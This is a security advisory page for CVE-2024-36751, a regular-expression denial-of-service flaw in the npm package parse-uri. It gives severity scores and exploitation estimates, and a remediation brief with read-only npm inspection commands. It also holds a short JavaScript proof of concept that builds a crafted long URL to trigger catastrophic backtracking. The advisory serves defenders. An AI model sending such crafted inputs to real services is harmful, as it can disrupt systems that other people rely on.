parse-uri Regular expression Denial of Service (ReDoS)

Exploitation

No confirmed exploitation recorded. Patch Next marks exploitation only from CISA KEV.

CVSS 4.0

6.9 · CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N · score source

EPSS

• CVE-2024-36751: 0.54% estimated exploitation activity in the next 30 days; percentile 45.73 (FIRST EPSS, 2026-11-03). This is a model estimate, not proof of exploitation or customer exposure.

As published by the source; long descriptions are shortened.

An issue in parse-uri v1.0.9 allows attackers to cause a Regular expression Denial of Service (ReDoS) via a crafted URL.

PoC ```js async function exploit() { const parseuri = require("parse-uri"); // This input is designed to cause excessive backtracking in the regex const craftedInput = 'http://example.com/' + 'a'.repeat(30000) + '?key=value'; const result = await parseuri(craftedInput); } await exploit(); ```

Published by the source

16 Jan 2025, 00:31 UTC

Last modified by the source

3 Sep 2025, 12:56 UTC

Source last checked

24 Oct 2026, 22:39 UTC

1. Revision 2 · amended · 24 Oct 2026

   Reviewed OSV alias/range/CVSS4 correction; package source scopes and original publication preserved. No customer finding resolved.

2. Revision 1 · created · 24 Oct 2026

   Published from osv record GHSA-6fx8-h7jm-663j

Preview the exact text before you copy it. Commands are read-only suggestions; review them before running anything.

# Patch Next advisory brief: CVE-2024-36751

Advisory: parse-uri Regular expression Denial of Service (ReDoS)
IDs: CVE-2024-36751, GHSA-6fx8-h7jm-663j
Record: https://patchnext.com/advisories/cve-2024-36751 (revision 2, source checked 24 Oct 2026, 22:39 UTC)
Inventory: none attached. This brief comes from a public page and does not say whether any deployment is affected.
Severity: Medium (CVSS 6.9)
Exploitation: no confirmed exploitation recorded. Patch Next confirms exploitation only from CISA KEV.
Vendor response: Vendor response not established. A vendor fix does not mean a deployment is fixed.

## Affected components
- npm parse-uri: affected <= 1.0.9
- npm parseuri: affected every version

## Suggested inspection (read-only)
- `npm ls parse-uri --all`: lists every installed copy and version, including transitive ones. Run in the project root after `npm ci`.
- `npm ls parseuri --all`: lists every installed copy and version, including transitive ones. Run in the project root after `npm ci`.

## Supported action
No complete vendor fix is recorded. Follow the primary source's mitigation guidance and check this record again before closing anything.

## Required regression checks
- Run the test suite and a production build.
- Exercise the features that depend on parse-uri, parseuri.
- Repeat the inspection and confirm that only fixed versions remain installed.

## Rollback considerations
- Keep the previous lockfile and deployment artifact. Rolling back reinstates the vulnerable version, so apply any documented mitigation while you fix forward.

## Unresolved questions
- Which deployments run an affected version?
- Exploitation status can change. Check again before lowering the priority.
- Mark the work resolved only after the fixed version is verified in production.

## Sources
- Verified: https://osv.dev/vulnerability/GHSA-6fx8-h7jm-663j (OSV record GHSA-6fx8-h7jm-663j lists affected ranges: npm parse-uri >=0 =0)

Commands are suggestions: review each one before running it.